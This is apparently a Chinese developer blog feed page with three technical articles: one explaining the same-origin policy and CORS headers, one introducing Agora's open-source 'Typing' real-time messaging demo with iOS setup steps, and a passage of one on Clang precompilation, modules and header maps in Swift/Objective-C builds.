        當瀏覽器從一個源發送 HTTP 請求到另一個源時,與另一個源相關的任何 cookie (包括身份驗證會話cookie)也將會作為請求的一部分一起發送。這意味著響應將在用戶會話中返回,并包含此特定用戶的相關數據。如果沒有同源策略,如果你訪問了一個惡意網站,它將能夠讀取你 GMail 中的電子郵件、Facebook 上的私人消息等。

        同源策略是如何實施的?

        同源策略通??刂?JavaScript 代碼對跨域加載的內容的訪問。通常允許頁面資源的跨域加載。例如,同源策略允許通過 <img> 標簽嵌入圖像,通過 <video> 標簽嵌入媒體、以及通過 <script> 標簽嵌入 JavaScript 。但是,頁面只能加載這些外部資源,頁面上的任何 JavaScript 都無法讀取這些資源的內容。

        同源策略也有一些例外:

        • 有些對象跨域可寫入但不可讀,例如 location 對象,或者來自 iframes 或新窗口的 location.href 屬性。
        • 有些對象跨域可讀但不可寫,例如 window 對象的 length 屬性和 closed 屬性。
        • location 對象上可以跨域調用 replace 函數。
        • 你可以跨域調用某些函數。例如,你可以在一個新窗口上調用 close、blur、focus 函數。也可以在 iframes 和新窗口上 postMessage 函數以將消息從一個域發送到另一個域。

        由于歷史遺留,在處理 cookie 時,同源策略更為寬松,通??梢詮恼军c的所有子域訪問它們,即使每個子域并不滿足同源的要求。你可以使用 HttpOnly 一定程度緩解這個風險。

        使用 document.domain 可以放寬同源策略,這個特殊屬性允許放寬特定域的同源策略,但前提是它是 FQDN(fully qualified domain name)的一部分。例如,你有一個域名 marketing.example.com,并且你想讀取 example.com 域的內容。為此,兩個域都需要設置 document.domainexample.com,那么同源策略將會允許這里兩個域之間的訪問,盡管它們并不同源。在過去,你可以將 document.domain 設置為頂級域名如 com,以允許同一個頂級域名上的任何域之間的訪問,但是現代瀏覽器已經不允許這么做了。


        CORS 和 Access-Control-Allow-Origin 響應頭

        在本節中,我們將解釋有關 CORSAccess-Control-Allow-Origin 響應頭,以及后者如何構成 CORS 實現的一部分。

        CORS 通過使用一組 HTTP 頭部提供了同源策略的可控制放寬,瀏覽器允許訪問基于這些頭部的跨域請求的響應。

        什么是 Access-Control-Allow-Origin 響應頭?

        Access-Control-Allow-Origin 響應頭標識了跨域請求允許的請求來源,瀏覽器會將 Access-Control-Allow-Origin 與請求網站 origin 進行比較,如果兩者匹配則允許訪問響應。

        實現簡單的 CORS

        CORS 規范規定了 web 服務器和瀏覽器之間交換的頭內容,其中 Access-Control-Allow-Origin 是最重要的。當網站發起跨域資源請求時,瀏覽器將會自動添加 Origin 頭,隨后服務器返回 Access-Control-Allow-Origin 響應頭。

        例如,origin 為 normal-website.com 的網站發起了如下跨域請求:

        GET /data HTTP/1.1
        Host: robust-website.com
        Origin : https://normal-website.com

        服務器響應:

        HTTP/1.1 200 OK
        ...
        Access-Control-Allow-Origin: https://normal-website.com

        瀏覽器將會允許 normal-website.com 網站代碼訪問響應,因為 Access-Control-Allow-OriginOrigin 匹配。

        Access-Control-Allow-Origin 允許多個域,或者 null ,或者通配符 * 。但是沒有瀏覽器支持多個 origin ,且通配符的使用有限制。

        帶憑證的跨域資源請求

        跨域資源請求的默認行為是傳遞請求時不會攜帶如 cookies 和 Authorization 頭等憑證的。然而,對于帶憑證的跨域請求,服務器通過設置 Access-Control-Allow-Credentials: true 響應頭可以允許瀏覽器讀取響應。例如,某個網站使用 JavaScript 去控制發起請求時一起發送 cookies :

        GET /data HTTP/1.1
        Host: robust-website.com
        ...
        Origin: https://normal-website.com
        Cookie: JSESSIONID=<value>

        得到的響應為:

        HTTP/1.1 200 OK
        ...
        Access-Control-Allow-Origin: https://normal-website.com
        Access-Control-Allow-Credentials: true

        那么瀏覽器將會允許發起請求的網站讀取響應,因為 Access-Control-Allow-Credentials 設置為了 true。否則,瀏覽器將不允許訪問響應。

        使用通配符放寬 CORS

        Access-Control-Allow-Origin 頭支持使用通配符 * ,如

        Access-Control-Allow-Origin: *

        注意:通配符不能與其他值一起使用,如下方式是非法的:

        Access-Control-Allow-Origin: https://*.normal-website.com

        幸運的是,基于安全考慮,通配符的使用是有限制的,你不能同時使用通配符與帶憑證的跨域傳輸。因此,以下形式的服務器響應是不允許的:

        Access-Control-Allow-Origin: *
        Access-Control-Allow-Credentials: true

        因為這是非常危險的,這等于向所有人公開目標網站上所有經過身份驗證的內容。

        預檢

        為了保護遺留資源不受 CORS 允許的擴展請求的影響,預檢也是 CORS 規范中的一部分。在某些情況下,當跨域請求包括非標準的 HTTP method 或 header 時,在進行跨域請求之前,瀏覽器會先發起一次 method 為 OPTIONS 的請求,并且對服務端響應的 Access-Control-* 之類的頭進行初步檢查,對比 origin、method 和 header 等等,這就叫預檢。

        例如,對使用 PUT 方法和 Special-Request-Header 自定義請求頭的預檢請求為:

        OPTIONS /data HTTP/1.1
        Host: <some website>
        ...
        Origin: https://normal-website.com
        Access-Control-Request-Method: PUT
        Access-Control-Request-Headers: Special-Request-Header

        服務器可能響應:

        HTTP/1.1 204 No Content
        ...
        Access-Control-Allow-Origin: https://normal-website.com
        Access-Control-Allow-Methods: PUT, POST, OPTIONS
        Access-Control-Allow-Headers: Special-Request-Header
        Access-Control-Allow-Credentials: true
        Access-Control-Max-Age: 240

        這個響應的含義:

        • Access-Control-Allow-Origin 允許的請求域。
        • Access-Control-Allow-Methods 允許的請求方法。
        • Access-Control-Allow-Headers 允許的請求頭。
        • Access-Control-Allow-Credentials 允許帶憑證的請求。
        • Access-Control-Max-Age 設置預檢響應的最大緩存時間,通過緩存減少預檢請求增加的額外的 HTTP 請求往返的開銷。

        CORS 能防止 CSRF 嗎?

        CORS 無法提供對跨站請求偽造(CSRF)攻擊的防護,這是一個容易出現誤解的地方。

        CORS 是對同源策略的受控放寬,因此配置不當的 CORS 實際上可能會增加 CSRF 攻擊的可能性或加劇其影響。

        查看原文

        贊 4 收藏 3 評論 0

        高陽Sunny 贊了文章 · 3月1日

        「Typing」開源—— 3步打造屬于自己的實時文字互動社交App

        為了與開發者一起更好地探索互動實時消息的更多可能性,我們基于聲網云信令/ RTM(Real-time Messaging)SDK 開源了一個實時文字互動 Demo——「Typing」。從體驗來講,「Typing」與音視頻通話更為類似。對方打字時的速度或每一個停頓都可以被看見,并且實時展示的文字信息與數據也不會有歷史留存。

        開源地址:https://github.com/AgoraIO-Community/typing/releases


        「Typing」Demo演示

        這樣一種幾乎“無時延”、無留存信息的互動方式在很多針對 Z 世代群體(Generation-Z,一般是指在1995年——2009年出生的一代)進行開發的 App 中也受到了廣泛的應用。

        比如主打 00 后社交新模式的「Honk」就是一款致力于“消除”社交延時的文字對話互動 App,希望通過“真閱后即焚”的 100% 實時、無歷史數據留存的私密體驗,讓使用者體驗到幾乎無時間差的熟人社交型文字互動。在「Honk」上線的第二天,下載排名就達到了美國 iOS 社交類榜單的第 10 位。


        Honk丨圖片來源:Sensor Tower

        Z 世代是伴隨著互聯網和社交媒體長大的一代,相較于其他群體而言,他們對于技術和互聯網社交的需求顯得更為原始本能——實時互動、安全及熟人社交。而 「Honk」 之所以能夠顛覆傳統的文本消息互動體驗,背后依靠的正是實時消息技術。

        關于實時消息

        通常實時消息可以分為兩種,一種是幫助用戶來交流的消息,比如文字消息、點贊、送禮物、發彈幕等。另一種則是信令消息,比如聊天室中禁言踢人的權限管理、上麥請求等。與微信、Snapchat 等這類即時通訊聊天軟件相比,實時消息傳輸的重點在于信令、消息傳輸的低延時和高送達率上。

        聲網云信令/RTM (Real-time Messaging)SDK 是一個通用的消息系統,主要是為了解決實時場景下信令的低延遲和高并發問題。云信令/RTM (Real-time Messaging)SDK 的服務器端采用分布式架構,沒有一個單點或者中心式的情況,通過多機房多路?;顧C制,智能優化路徑,在其它節點失效時可以自動轉移,選擇最優節點路徑傳輸。因此,可以有效保證傳輸的穩定性與可靠性,在性能方面也可以支持高吞吐量和低延時。

        我們嘗試基于聲網云信令/RTM(Real-time Messaging) SDK 實現了 「Honk」 中的實時文字消息聊天功能,并作為 Demo 開源。希望可以拋磚引玉,與社區的開發者們一起探索更多基于實時信令和虛擬鍵盤的互動實時消息的新玩兒法。

        「Typing」開源

        目前的「Typing」Demo 中,我們提供了類似 「Honk」 的實時文字聊天,以及點擊對方聊天框發送震動的功能,開發者只需要簡單的幾步就可以實現。以 iOS 版為例:

        安裝

        更改目錄為 iOS 文件夾,運行以下命令安裝項目依賴項,

        pod install

        輸入驗證,生成正確的 xcworkspace

        獲取 App ID

        要構建并運行示例應用程序,需要獲取一個應用 ID :
        ??1、在agora.io創建一個開發者帳戶。完成注冊過程后,會重新回到儀表板。
        ??2、在左側的儀表板樹中導航到項目 > 項目列表。
        ??3、保存儀表板上的 App ID 以備以后使用。
        ??4、生成一個臨時訪問 Token (24 小時內有效) 從儀表板頁面給定的通道名稱,保存以后使用。

        *注:對于安全性要求更高的場景,如果想要部署自己的RTM Token服務器,請參閱文檔(https://docs.agora.io/cn/Real-time-Messaging/token_server_rtm

        接下來,打開 Typing.xcworkspace 并編輯 KeyCenter.swift 文件。在 KeyCenter 中更新 <#Your App Id#>,用儀表盤生成的 Token 更改<#Temp Access Token#>

        *注:如果建立的項目沒有打開security token,可以將 token 變量保留為nil。

        1Swift
        2    struct KeyCenter {
        3        static let AppId: String = <#Your App Id#>
        4
        5        // assign token to nil if you have not enabled app certificate
        6        static var Token: String? = <#Temp Access Token#>
        7    }

        目前,該 Demo 支持 iOS 與 Android 平臺。對于 Android 平臺的小伙伴,可以選擇下載打包好的 apk 文件,直接體驗「Typing」。

        我們相信,關于聲網云信令/RTM(Real-time Messaging)SDK 的應用場景和使用方式在不斷涌現的新需求下,還有很大的待挖掘潛力。例如,或許你可以考慮把手機鍵盤變成一個簡易的虛擬鋼琴鍵盤,為對方彈奏一首簡單的小樂曲?開發者可以通過「Typing」,快速了解聲網云信令/RTM(Real-time Messaging) SDK的基本用法,并且繼續探索除了文字實時交流之外的,基于各種類型虛擬鍵盤所進行的 1 對 1 實時互動。

        如果你對「Typing」感興趣的話,可以進入我們的討論群與社區的開發者們進行交流,也可以在 GitHub 倉庫提交 Issue 留下你的問題、收藏/Fork「Typing」項目,或是通過 Pull Request 提交你的創意與成果。

        掃描下方二維碼

        加入「Typing」討論群

        開源地址:https://github.com/AgoraIO-Community/typing/releases
        查看原文

        贊 1 收藏 0 評論 0

        高陽Sunny 贊了文章 · 3月1日

        從預編譯的角度理解Swift與Objective-C及混編機制

        寫在前面

        本文涉及面較廣,篇幅較長,閱讀完需要耗費一定的時間與精力,如果你帶有較為明確的閱讀目的,可以參考以下建議完成閱讀:

        • 如果你對預編譯的理論知識已經了解,可以直接從【原來它是這樣的】的章節開始進行閱讀,這會讓你對預編譯有一個更直觀的了解。
        • 如果你對 Search Path 的工作機制感興趣,可以直接從【關于第一個問題】的章節閱讀,這會讓你更深刻,更全面的了解到它們的運作機制,
        • 如果您對 Xcode Phases 里的 Header 的設置感到迷惑,可以直接從【揭開 Public、Private、Project 的真實面目】的章節開始閱讀,這會讓你理解為什么說 Private 并不是真正的私有頭文件
        • 如果你想了解如何通過 hmap 技術提升編譯速度,可以從【基于 hmap 優化 Search Path 的策略】的章節開始閱讀,這會給你提供一種新的編譯加速思路。
        • 如果你想了解如何通過 VFS 技術進行 Swift 產物的構建,可以從 【關于第二個問題】章節開始閱讀,這會讓你理解如何用另外一種提升構建 Swift 產物的效率。
        • 如果你想了解 Swift 和 Objective-C 是如何找尋方法聲明的,可以從 【Swift 來了】的章節閱讀,這會讓你從原理上理解混編的核心思路和解決方案。

        概述

        隨著 Swift 的發展,國內技術社區出現了一些關于如何實現 Swift 與 Objective-C 混編的文章,這些文章的主要內容還是圍繞著指導開發者進行各種操作來實現混編的效果,例如在 Build Setting 中開啟某個選項,在 podspec 中增加某個字段,而鮮有文章對這些操作背后的工作機制做剖析,大部分核心概念也都是一筆帶過。

        正是因為這種現狀,很多開發者在面對與預期不符的行為時,亦或者遇到各種奇怪的報錯時,都會無從下手,而這也是由于對其工作原理不夠了解所導致的。

        筆者在美團平臺負責 CI/CD 相關的工作,這其中也包含了 Objective-C 與 Swift 混編的內容,出于讓更多開發者能夠進一步理解混編工作機制的目的,撰寫了這篇技術文章。

        廢話不多說,我們開始吧!

        預編譯知識指北

        #import 的機制和缺點

        在我們使用某些系統組件的時候,我們通常會寫出如下形式的代碼:

        #import <UIKit/UIKit.h>

        #import 其實是 #include 語法的微小創新,它們在本質上還是十分接近的。#include 做的事情其實就是簡單的復制粘貼,將目標 .h 文件中的內容一字不落地拷貝到當前文件中,并替換掉這句 #include,而 #import 實質上做的事情和 #include 是一樣的,只不過它還多了一個能夠避免頭文件重復引用的能力而已。

        為了更好的理解后面的內容,我們這里需要展開說一下它到底是如何運行的?

        從最直觀的角度來看:

        假設在 MyApp.m 文件中,我們 #importiAd.h 文件,編譯器解析此文件后,開始尋找 iAd 包含的內容(ADInterstitialAd.h,ADBannerView.h),及這些內容包含的子內容(UIKit.h,UIController.h,UIView.h,UIResponder.h),并依次遞歸下去,最后,你會發現 #import <iAd/iAd.h> 這段代碼變成了對不同 SDK 的頭文件依賴。

        如果你覺得聽起來有點費勁,或者似懂非懂,我們這里可以舉一個更加詳細的例子,不過請記住,對于 C 語言的預處理器而言, #import 就是一種特殊的復制粘貼。

        結合前面提到的內容,在 AppDelegate 中添加 iAd.h

        #import <iAd/iAd.h>
        @implementation AppDelegate
        //...
        @end

        然后編譯器會開始查找 iAd/iAd.h 到底是哪個文件且包含何種內容,假設它的內容如下:

        /* iAd/iAd.h */
        #import <iAd/ADBannerView.h>
        #import <iAd/ADBannerView_Deprecated.h>
        #import <iAd/ADInterstitialAd.h>

        在找到上面的內容后,編譯器將其復制粘貼到 AppDelegate 中:

        #import <iAd/ADBannerView.h>
        #import <iAd/ADBannerView_Deprecated.h>
        #import <iAd/ADInterstitialAd.h>
        
        @implementation AppDelegate
        //...
        @end

        現在,編譯器發現文件里有 3 個 #import 語句 了,那么就需要繼續尋找這些文件及其相應的內容,假設 ADBannerView.h 的內容如下:

        /* iAd/ADBannerView.h */
        @interface ADBannerView : UIView
        @property (nonatomic, readonly) ADAdType adType;
        
        - (id)initWithAdType:(ADAdType)type
        
        /* ... */
        @end

        那么編譯器會繼續將其內容復制粘貼到 AppDelegate 中,最終變成如下的樣子:

        @interface ADBannerView : UIView
        @property (nonatomic, readonly) ADAdType adType;
        
        - (id)initWithAdType:(ADAdType)type
        
        /* ... */
        @end
        #import <iAd/ADBannerView_Deprecated.h>
        #import <iAd/ADInterstitialAd.h>
        
        @implementation AppDelegate
        //...
        @end

        這樣的操作會一直持續到整個文件中所有 #import 指向的內容被替換掉,這也意味著 .m 文件最終將變得極其的冗長。

        雖然這種機制看起來是可行的,但它有兩個比較明顯的問題:健壯性和拓展性。

        健壯性

        首先這種編譯模型會導致代碼的健壯性變差!

        這里我們繼續采用之前的例子,在 AppDelegate 中定義 readonly0x01,而且這個定義的聲明在 #import 語句之前,那么此時又會發生什么事情呢?

        編譯器同樣會進行剛才的那些復制粘貼操作,但可怕的是,你會發現那些在屬性聲明中的 readonly 也變成了 0x01,而這會觸發編譯器報錯!

        @interface ADBannerView : UIView
        @property (nonatomic, 0x01) ADAdType adType;
        
        - (id)initWithAdType:(ADAdType)type
        
        /* ... */
        @end
        
        @implementation AppDelegate
        //...
        @end

        面對這種錯誤,你可能會說它是開發者自己的問題。

        確實,通常我們都會在聲明宏的時候帶上固定的前綴來進行區分。但生活里總是有一些意外,不是么?

        假設某個人沒有遵守這種規則,那么在不同的引入順序下,你可能會得到不同的結果,對于這種錯誤的排查,還是挺鬧心的。不過,這還不是最鬧心的,因為還有動態宏的存在,心塞 ing。

        所以這種靠遵守約定來規避問題的解決方案,并不能從根本上解決問題,這也從側面反應了編譯模型的健壯性是相對較差的。

        拓展性

        說完了健壯性的問題,我們來看看拓展性的問題。

        Apple 公司對它們的 Mail App 做過一個分析,下圖是 Mail 這個項目里所有 .m 文件的排序,橫軸是文件編號排序,縱軸是文件大小。

        可以看到這些由業務代碼構成的文件大小的分布區間很廣泛,最小可能有幾 kb,最大的能有 200+ kb,但總的來說,可能 90% 的代碼都在 50kb 這個數量級之下,甚至更少。

        如果我們往該項目的某個核心文件(核心文件是指其他文件可能都需要依賴的文件)里添加了一個對 iAd.h 文件的引用,對其他文件意味著什么呢?

        這里的核心文件是指其他文件可能都需要依賴的文件

        這意味著其他文件也會把 iAd.h 里包含的東西納入進來,當然,好消息是,iAd 這個 SDK 自身只有 25KB 左右的大小。

        但你得知道 iAd 還會依賴 UIKit 這樣的組件,這可是個 400KB+ 的大家伙

        所以,怎么說呢?

        在 Mail App 里的所有代碼都需要先涵蓋這將近 425KB 的頭文件內容,即使你的代碼只有一行 Hello World。

        如果你認為這已經讓人很沮喪的話,那還有更打擊你的消息,因為 UIKit 相比于 macOS 上的 Cocoa 系列大禮包,真的小太多了,Cocoa 系列大禮包可是 UIKit 的 29 倍......

        所以如果將這個數據放到上面的圖表中,你會發現真正的業務代碼在 File Size 軸上的比重真的太微不足道了。

        所以這就是拓展性差帶來的問題之一!

        很明顯,我們不可能用這樣的方式引入代碼,假設你有 M 個源文件且每個文件會引入 N 個頭文件,按照剛才的解釋,編譯它們的時間就會是 M * N,這是非??膳碌?!

        備注:文章里提到的 iAd 組件為 25KB,UIKit 組件約為 400KB, macOS 的 Cocoa 組件是 UIKit 的 29 倍等數據,是 WWDC 2013 Session 404 Advances in Objective-C 里公布的數據,隨著功能的不斷迭代,以現在的眼光來看,這些數據可能已經偏小,在 WWDC 2018 Session 415 Behind the Scenes of the Xcode Build Process 中提到了 Foundation 組件,它包含的頭文件數量大于 800 個,大小已經超過 9MB。

        PCH(PreCompiled Header)是一把雙刃劍

        為了優化前面提到的問題,一種折中的技術方案誕生了,它就是 PreCompiled Header。

        我們經??梢钥吹侥承┙M件的頭文件會頻繁的出現,例如 UIKit,而這很容易讓人聯想到一個優化點,我們是不是可以通過某種手段,避免重復編譯相同的內容呢?

        而這就是 PCH 為預編譯流程帶來的改進點!

        它的大體原理就是,在我們編譯任意 .m 文件前, 編譯器會先對 PCH 里的內容進行預編譯,將其變為一種二進制的中間格式緩存起來,便于后續的使用。當開始編譯 .m 文件時,如果需要 PCH 里已經編譯過的內容,直接讀取即可,無須再次編譯。

        雖然這種技術有一定的優勢,但實際應用起來,還存在不少的問題。

        首先,它的維護是有一定的成本的,對于大部分歷史包袱沉重的組件來說,將項目中的引用關系梳理清楚就十分麻煩,而要在此基礎上梳理出合理的 PCH 內容就更加麻煩,同時隨著版本的不斷迭代,哪些頭文件需要移出 PCH,哪些頭文件需要移進 PCH 將會變得越來越麻煩。

        其次,PCH 會引發命名空間被污染的問題,因為 PCH 引入的頭文件會出現在你代碼中的每一處,而這可能會是多于的操作,比如 iAd 應當出現在一些與廣告相關的代碼中,它完全沒必要出現在幫助相關的代碼中(也就是與廣告無關的邏輯),可是當你把它放到 PCH 中,就意味組件里的所有地方都會引入 iAd 的代碼,包括幫助頁面,這可能并不是我們想要的結果!

        如果你想更深入的了解 PCH 的黑暗面,建議閱讀 4 Ways Precompiled Headers Cripple Your Code ,里面已經說得相當全面和透徹。

        所以 PCH 并不是一個完美的解決方案,它能在某些場景下提升編譯速度,但也有缺陷!

        Clang Module 的來臨!

        為了解決前面提到的問題,Clang 提出了 Module 的概念,關于它的介紹可以在 Clang 官網 上找到。

        簡單來說,你可以把它理解為一種對組件的描述,包含了對接口(API)和實現(dylib/a)的描述,同時 Module 的產物是被獨立編譯出來的,不同的 Module 之間是不會影響的。

        在實際編譯之時,編譯器會創建一個全新的空間,用它來存放已經編譯過的 Module 產物。如果在編譯的文件中引用到某個 Module 的話,系統將優先在這個列表內查找是否存在對應的中間產物,如果能找到,則說明該文件已經被編譯過,則直接使用該中間產物,如果沒找到,則把引用到的頭文件進行編譯,并將產物添加到相應的空間中以備重復使用。

        在這種編譯模型下,被引用到的 Module 只會被編譯一次,且在運行過程中不會相互影響,這從根本上解決了健壯性和拓展性的問題。

        Module 的使用并不麻煩,同樣是引用 iAd 這個組件,你只需要這樣寫即可。

        @import iAd;

        在使用層面上,這將等價于以前的 #import <iAd/iAd.h> 語句,但是會使用 Clang Module 的特性加載整個 iAd 組件。如果只想引入特定文件(比如 ADBannerView.h),原先的寫法是 #import <iAd/ADBannerView.h.h>,現在可以寫成:

        @import iAd.ADBannerView;

        通過這種寫法會將 iAd 這個組件的 API 導入到我們的應用中,同時這種寫法也更符合語義化(semanitc import)。

        雖然這種引入方式和之前的寫法區別不大,但它們在本質上還是有很大程度的不同,Module 不會“復制粘貼”頭文件里的內容,也不會讓 @import 所暴露的 API 被開發者本地的上下文篡改,例如前面提到的 #define readonly 0x01。

        此時,如果你覺得前面關于 Clang Module 的描述還是太抽象,我們可以再進一步去探究它工作原理, 而這就會引入一個新的概念—— modulemap。

        不論怎樣,Module 只是一個對組件的抽象描述罷了,而 modulemap 則是這個描述的具體呈現,它對框架內的所有文件進行了結構化的描述,下面是 UIKit 的 modulemap 文件。

        framework module UIKit {
          umbrella header "UIKit.h"
          module * {export *}
          link framework "UIKit"
        }

        這個 Module 定義了組件的 Umbrella Header 文件(UIKit.h),需要導出的子 Module(所有),以及需要 Link 的框架名稱(UIKit),正是通過這個文件,讓編譯器了解到 Module 的邏輯結構與頭文件結構的關聯方式。

        可能又有人會好奇,為什么我從來沒看到過 @import 的寫法呢?

        這是因為 Xcode 的編譯器能夠將符合某種格式的 #import 語句自動轉換成 Module 識別的 @import 語句,從而避免了開發者的手動修改。

        唯一需要開發者完成的就是開啟相關的編譯選項。

        對于上面的編譯選項,需要開發者注意的是:

        Apple Clang - Language - ModulesEnable Module 選項是指引用系統庫的的時候,是否采用 Module 的形式。

        Packaging 里的 Defines Module 是指開發者編寫的組件是否采用 Module 的形式。

        說了這么多,我想你應該對 #import, pch, @import 有了一定的概念。當然,如果我們深究下去,可能還會有如下的疑問:

        • 對于未開啟 Clang Module 特性的組件,Clang 是通過怎樣的機制查找到頭文件的呢?在查找系統頭文件和非系統頭文件的過程中,有什么區別么?
        • 對于已開啟 Clang Module 特性的組件,Clang 是如何決定編譯當下組件的 Module 呢?另外構建的細節又是怎樣的,以及如何查找這些 Module 的?還有查找系統的 Module 和非系統的 Module 有什么區別么?

        為了解答這些問題,我們不妨先動手實踐一下,看看上面的理論知識在現實中的樣子。

        原來它是這樣的

        在前面的章節中,我們將重點放在了原理上的介紹,而在這個章節中,我們將動手看看這些預編譯環節的實際樣子。

        #import 的樣子

        假設我們的源碼樣式如下:

        #import "SQViewController.h"
        #import <SQPod/ClassA.h>
        
        @interface SQViewController ()
        @end
        
        @implementation SQViewController
        - (void)viewDidLoad {
            [super viewDidLoad];
            ClassA *a = [ClassA new];
            NSLog(@"%@", a);
        }
        
        - (void)didReceiveMemoryWarning {
            [super didReceiveMemoryWarning];
        }
        @end

        想要查看代碼預編譯后的樣子,我們可以在 Navigate to Related Items 按鈕中找到 Preprocess 選項

        既然知道了如何查看預編譯后的樣子,我們不妨看看代碼在使用 #import, PCH 和 @import 后,到底會變成什么樣子?

        這里我們假設被引入的頭文件,即 ClassA 中的內如下:

        @interface ClassA : NSObject
        @property (nonatomic, strong) NSString *name;
        - (void)sayHello;
        @end

        通過 preprocess 可以看到代碼大致如下,這里為了方便展示,將無用代碼進行了刪除。這里記得要將 Build Setting 中 Packaging 的 Define Module 設置為 NO,因為其默認值為 YES,而這會導致我們開啟 Clang Module 特性。

        @import UIKit;
        @interface SQViewController : UIViewController
        @end
        
        @interface ClassA : NSObject
        @property (nonatomic, strong) NSString *name;
        - (void)sayHello;
        @end
        
        @interface SQViewController ()
        @end
        
        @implementation SQViewController
        - (void)viewDidLoad {
            [super viewDidLoad];
            ClassA *a = [ClassA new];
            NSLog(@"%@", a);
        }
        
        - (void)didReceiveMemoryWarning {
            [super didReceiveMemoryWarning];
        }
        @end

        這么一看,#import 的作用還就真的是個 Copy & Write。

        PCH 的真容

        對于 CocoaPods 默認創建的組件,一般都會關閉 PCH 的相關功能,例如筆者創建的 SQPod 組件,它的 Precompile Prefix Header 功能默認值為 NO。

        為了查看預編譯的效果,我們將 Precompile Prefix Header 的值改為 YES,并編譯整個項目,通過查看 Build Log,我們可以發現相比于 NO 的狀態,在編譯的過程中,增加了一個步驟,即 Precompile SQPod-Prefix.pch 的步驟。

        通過查看這個命令的 -o 參數,我們可以知道其產物是名為 SQPod-Prefix.pch.gch 的文件。

        這個文件就是 PCH 預編譯后的產物,同時在編譯真正的代碼時,會通過 -include 參數將其引入。

        又見 Clang Module

        在開啟 Define Module 后,系統會為我們自動創建相應的 modulemap 文件,這一點可以在 Build Log 中查找到。

        它的內容如下:

        framework module SQPod {
          umbrella header "SQPod-umbrella.h"
        
          export *
          module * { export * }
        }

        當然,如果系統自動生成的 modulemap 并不能滿足你的訴求,我們也可以使用自己創建的文件,此時只需要在 Build Setting 的 Module Map File 選項中填寫好文件路徑,相應的 clang 命令參數是 -fmodule-map-file。

        最后讓我們看看 Module 編譯后的產物形態。

        這里我們構建一個名為 SQPod 的 Module ,將它提供給名為 Example 的工程使用,通過查看 -fmodule-cache-path 的參數,我們可以找到 Module 的緩存路徑。

        進入對應的路徑后,我們可以看到如下的文件:

        其中后綴名為 pcm 的文件就是構建出來的二進制中間產物。

        現在,我們不僅知道了預編譯的基礎理論知識,也動手查看了預編譯環節在真實環境下的產物,現在我們要開始解答之前提到的兩個問題了!

        打破砂鍋問到底

        關于第一個問題

        對于未開啟 Clang Module 特性的組件,Clang 是通過怎樣的機制查找到頭文件的呢?在查找系統頭文件和非系統頭文件的過程中,有什么區別么?

        在早期的 Clang 編譯過程中,頭文件的查找機制還是基于 Header Seach Path 的,這也是大多數人所熟知的工作機制,所以我們不做贅述,只做一個簡單的回顧。

        Header Search Path 是構建系統提供給編譯器的一個重要參數,它的作用是在編譯代碼的時候,為編譯器提供了查找相應頭文件路徑的信息,通過查閱 Xcode 的 Build System 信息,我們可以知道相關的設置有三處 Header Search Path、System Header Search Path、User Header Search Path。

        它們的區別也很簡單,System Header Search Path 是針對系統頭文件的設置,通常代指 <> 方式引入的文件,uUser Header Search Path 則是針對非系統頭文件的設置,通常代指 "" 方式引入的文件,而 Header Search Path 并不會有任何限制,它普適于任何方式的頭文件引用。

        聽起來好像很復雜,但關于引入的方式,無非是以下四種形式:

        #import <A/A.h>
        #import "A/A.h"
        #import <A.h>
        #import "A.h"

        我們可以兩個維度去理解這個問題,一個是引入的符號形式,另一個是引入的內容形式。

        • 引入的符號形式:通常來說,雙引號的引入方式(“A.h” 或者 "A/A.h")是用于查找本地的頭文件,需要指定相對路徑,尖括號的引入方式(<A.h> 或者 <A/A.h>)是全局的引用,其路徑由編譯器提供,如引用系統的庫,但隨著 Header Search Path 的加入,讓這種區別已經被淡化了。
        • 引入的內容形式:對于 X/X.hX.h 這兩種引入的內容形式,前者是說在對應的 Search Path 中,找到目錄 A 并在 A 目錄下查找 A.h,而后者是說在 Search Path 下查找 A.h 文件,而不一定局限在 A 目錄中,至于是否遞歸的尋找則取決于對目錄的選項是否開啟了 recursive 模式

        在很多工程中,尤其是基于 CocoaPods 開發的項目,我們已經不會區分 System Header Search Path 和 User Header Search Path,而是一股腦的將所有頭文件路徑添加到 Header Search Path 中,這就導致我們在引用某個頭文件時,不會再局限于前面提到的約定,甚至在某些情況下,前面提到的四種方式都可以做到引入某個指定頭文件。

        Header Maps

        隨著項目的迭代和發展,原有的頭文件索引機制還是受到了一些挑戰,為此,Clang 官方也提出了自己的解決方案。

        為了理解這個東西,我們首先要在 Build Setting 中開啟 Use Header Map 選項。

        然后在 Build Log 里獲取相應組件里對應文件的編譯命令,并在最后加上 -v 參數,來查看其運行的秘密:

        $ clang <list of arguments> -c SQViewController.m -o SQViewcontroller.o -v

        在 console 的輸出內容中,我們會發現一段有意思的內容:

        通過上面的圖,我們可以看到編譯器將尋找頭文件的順序和對應路徑展示出來了,而在這些路徑中,我們看到了一些陌生的東西,即后綴名為 .hmap 的文件。

        那 hmap 到底這是個什么東西呢?

        當我們開啟 Build Setting 中的 Use Header Map 選項后,會自動生成的一份頭文件名和頭文件路徑的映射表,而這個映射表就是 hmap 文件,不過它是一種二進制格式的文件,也有人叫它為 Header Map??傊?,它的核心功能就是讓編譯器能夠找到相應頭文件的位置。

        為了更好的理解它,我們可以通過 milend 編寫的小工具 hmap 來查其內容。

        在執行相關命令(即 hmap print)后,我們可以發現這些 hmap 里保存的信息結構大致如下:

        需要注意,映射表的鍵值并不是簡單的文件名和絕對路徑,它的內容會隨著使用場景產生不同的變化,例如頭文件引用是在 "..." 的形式,還是 <...> 的形式,又或是在 Build Phase 里 Header 的配置情況。

        至此,我想你應該明白了,一旦開啟 Use Header Map 選項后,Xcode 會優先去 hmap 映射表里尋找頭文件的路徑,只有在找不到的情況下,才會去 Header Search Path 中提供的路徑遍歷搜索。

        當然這種技術也不是一個什么新鮮事兒,在 Facebook 的 buck 工具中也提供了類似的東西,只不過文件類型變成了 HeaderMap.java 的樣子。

        查找系統庫的頭文件

        上面的過程讓我們理解了在 Header Map 技術下,編譯器是如何尋找相應的頭文件的,那針對系統庫的文件又是如何索引的呢?例如 #import <Foundation/Foundation.h>

        回想一下上一節 console 的輸出內容,它的形式大概如下:

        #include "..." search starts here:
        XXX-generated-files.hmap (headermap)
        XXX-project-headers.hmap (headermap)
        
        #include <...> search starts here:
        XXX-own-target-headers.hmap (headermap)
        XXX-all-target-headers.hmap (headermap) 
        Header Search Path 
        DerivedSources
        Build/Products/Debug (framework directory)
        $(SDKROOT)/usr/include 
        $(SDKROOT)/System/Library/Frameworks(framework directory)

        我們會發現,這些路徑大部分是用于查找非系統庫文件的,也就是開發者自己引入的頭文件,而與系統庫相關的路徑只有以下兩個:

        #include <...> search starts here:
        $(SDKROOT)/usr/include 
